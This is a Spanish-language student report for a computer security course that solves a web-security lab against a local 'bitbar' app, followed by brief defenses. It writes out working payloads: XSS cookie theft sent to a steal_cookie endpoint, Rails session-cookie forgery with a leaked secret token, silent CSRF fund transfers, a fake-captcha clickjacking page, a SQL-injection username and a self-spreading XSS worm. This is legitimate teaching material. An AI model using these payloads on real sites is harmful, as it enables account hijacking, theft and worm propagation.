Proyecto 2

Christofer Fabián Chávez Carazas
Universidad Nacional de San Agustín
Seguridad Computacional

10 de junio de 2017

1. Ataques

1.1. Cookie Theft

El objetivo del ataque es obtener la cookie de un usuario y enviarla a una url. La cookie se obtiene por medio de XSS en la página *profile*. El código *JavaScript* se coloca en la caja de texto ubicada en esa pantalla. La solución es la siguiente:

```
<script>
  var req = new XMLHttpRequest();
  var cookie = document.cookie.split(';')[1];
  req.open('GET', 'http://localhost:3000/steal_cookie?cookie=' + cookie,false);
  req.send();
  window.location='http://localhost:3000/profile?username=user1';
</script>
```

Se utiliza *XMLHttpRequest* para hacer las peticiones. Se obtiene la cookie mediante la función *document.cookie*. Se divide el resultado y se obtiene la segunda cookie, que es la que nos interesa. La cookie se manda a la url y luego se redirecciona al usuario a la página *profile* del *user1*

1.2. Session Hijacking with Cookies

El objetivo del ataque es suplantar al *user1* modificando las cokies. Las cookies de la web están divididas en dos partes: la primera nos da detalles del usuario, en esta parte nos importa el parámetro *logged_in_id*, y la segunda parte que es un token generado al iniciar la sesión. La solución se muestra en el siguiente código:

```
require 'mechanize'

bitses = '_bitbar_session'
secret_token = '0↩
    a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a↩

2d2ba9aadf7bc686a49c8bac27464f9acb08'

a = Mechanize.new
```

```
page = a.get 'http://localhost:3000/login'
login = page.forms.first
login['username'] = login['password'] = 'attacker'
a.submit login

cookie = a.cookie_jar.jar['localhost']['/'][bitses].to_s.sub("#{bitses}=", '')
session, key = cookie.split('--')
session = Marshal.load(Base64.decode64(session))
session['logged_in_id'] = 1
session = Base64.encode64(Marshal.dump(session)).split.join
key = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get('SHA1').new, secret_token, session)
cookie = "#{bitses}=#{session}--#{key}"

puts "document.cookie='#{cookie}';"
```

Primero nos conectamos a la cuenta del atacante para obtener una cookie. Sacamos dicha cookie y la dividimos en sus dos partes. Luego, decodificamos la primera parte con *Marshal* para obtener las propiedades. Cambiamos la propiedad *logged_in_id* por 1; id del usuario *user1*. Volvemos a codificar con *Marshar* para obtener una primera parte modificada. Generamos un token con la key usada en la web. Esta se encuentra en el archivo *config/initializers/secret_token.rb*. Al final se une las dos partes para obtener nuestra cookie modificada que puede ser cambiada mediante la consola del explorador.

1.3. Cross-Site Request Forgery

El objetivo del ataque hacer una transacción desde la cuenta de un usuario logeado hacia la cuenta del atacante, mediante una página html que el usuario abrirá. La principal es que se redireccione al usuario a otra página mientras se hace la transacción sin que el lo note. El archivo solución es el siguiente:

```
<html>
    <body>
        <script>
            window.location = "http://crypto.stanford.edu/cs155/";
            var req = new XMLHttpRequest();
            var params = "destination_username=attacker&quantity=10";
            req.open("POST","http://localhost:3000/post_transfer",false);
            req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            req.withCredentials = true;
            req.send(params);
        </script>
    </body>
</html>
```

Se hace una petición *POST* a la página de transacciones con destino la cuenta del atacante y cantidad 10.

1.4. Cross-Site Request Forgery With User Assistance

El objetivo del ataque es hacer una transacción mediante una página segura en donde se le pide al usuario que dijite una token que aparece en su pantalla. La solución esta en los siguientes archivos:

```
<html>
  <head>
    <title>Legitimate General Interest Web Page</title>
  </head>
  <body>
```

```
  <style type="text/css">
  iframe {
     width: 300;
     height: 100%;
     border: none;
  }
</style>
    <h1>Verificacion Capcha..</h1>
    Ingrese el texto que aparece en la imagen para verificar que no es un bot y proceder a la ↩
        siguiente pagina: </br>
    <input id="token" type="text">
    <button onClick="fun()">Confirmar</button> </br>
    <iframe src="bp2.html" scrolling="no"></iframe>
    <script>
        function fun(){
            var token = document.getElementById("token").value;
            window.location = "http://crypto.stanford.edu/cs155/";
            var req = new XMLHttpRequest();
            var params = "destination_username=attacker&quantity=10&tokeninput=" + token
            req.open("POST","http://localhost:3000/super_secure_post_transfer",false);
            req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            req.withCredentials = true;
            req.send(params);
        }
    </script>
  </body>
</html>
```

```
<html>
<body>
<style type="text/css">
  iframe {
  height: 94%;
  width: 100%;
  margin-top: -205%;
  border: none;
  }
</style>
<iframe src="http://localhost:3000/super_secure_transfer" scrolling="no"></iframe>
</body>
</html>
```

La idea es mostrar sólo la parte del token como si fuera un capcha. Se necesitan de dos archivos para acomodar bien la imagen y que no parezca falsa. El usuario no sabe nada de lo que esta pasando.

1.5. Little Bobby Tables (aka SQL Injection)

El objetivo del ataque es eliminar el usuario *user3* con SQL Injection creando un nuevo usuario con el ataque. El usuario que se tiene que crear para que el ataque funcione es el siguiente: *user3' or id = '5*. Al intentar eliminar este usuario, se van a eliminar el *user3* y ese usuario recién creado. También es posible eliminar toda la base de datos.

1.6. Profile Worm

El objetivo del ataque es crear un XSS que se propague por los usuarios. El código se escribe en el profile del atacante. Cuando un usuario ve el profile del atacante, se le transfiere 1 bitbar al atacante y se cambia el profile del usuario al mismo que tiene el atacante. De esta forma el XSS se va propagando. La solución es la siguiente:

```
<span id="s">
<span id="bitbar_count" class="eval(document.getElementById('x').innerHTML)"></span>
<span id="x">
    var req = new XMLHttpRequest();
```

```
    var params1 = "destination_username=attacker&quantity=1";
    params1 = params1.replace('amp;', '');
    req.open("POST", "http://localhost:3000/post_transfer");
    req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    req.withCredentials = true;
    req.send(params1);
    var req2 = new XMLHttpRequest();
    var params2 = "new_profile=".concat(escape(document.getElementById('s').outerHTML));
    req2.open('POST', 'http://localhost:3000/set_profile');
    req2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    req2.withCredentials = true;
    req2.send(params2);
</span>
</span>
```

En esta parte de la web no se puede poner la etiqueta *¡script¿*. Lo que se hace es sobreescribir la etiqueta span con la id bitbar_count y poner en su clase el script en formato inline. Se hace la transferencia y se cambia el profile de la victima con el mismo script.

2. Defensas

2.1. Cookie Theft

Se modifica el archivo user_controller.rb. Antes de enviar la petición se filtra la entrada, eliminando de ella patrones sospechosos como ¡script¿, GET, cookie, etc.

2.2. Session Hijacking with Cookies

Se guarda las cookies en el servidor y se las compara con las cookies actuales del usuario.

2.3. Cross-Site Request Forgery

Se agrega un nuevo token a la session que se genera cada vez que se quiera hacer una transacción en user_controller.rb. El toquen se oculta en la pagina transfer_form.html.erb y luego se lo compara con el que esta guardado en la session.

2.4. Cross-Site Request Forgery With User Assistance

Se hace lo mismo que el ataque anterior.

2.5. Little Bobby Tables (aka SQL Injection)

Se cambia el archivo user_controller.rb. Se borra al usuario por la id ya no por el user_name.

2.6. Profile Worm

Se modifica el archivo user_controller.rb. Antes de enviar la petición se filtra la entrada, eliminando de ella patrones sospechosos igual que en el primer ataque.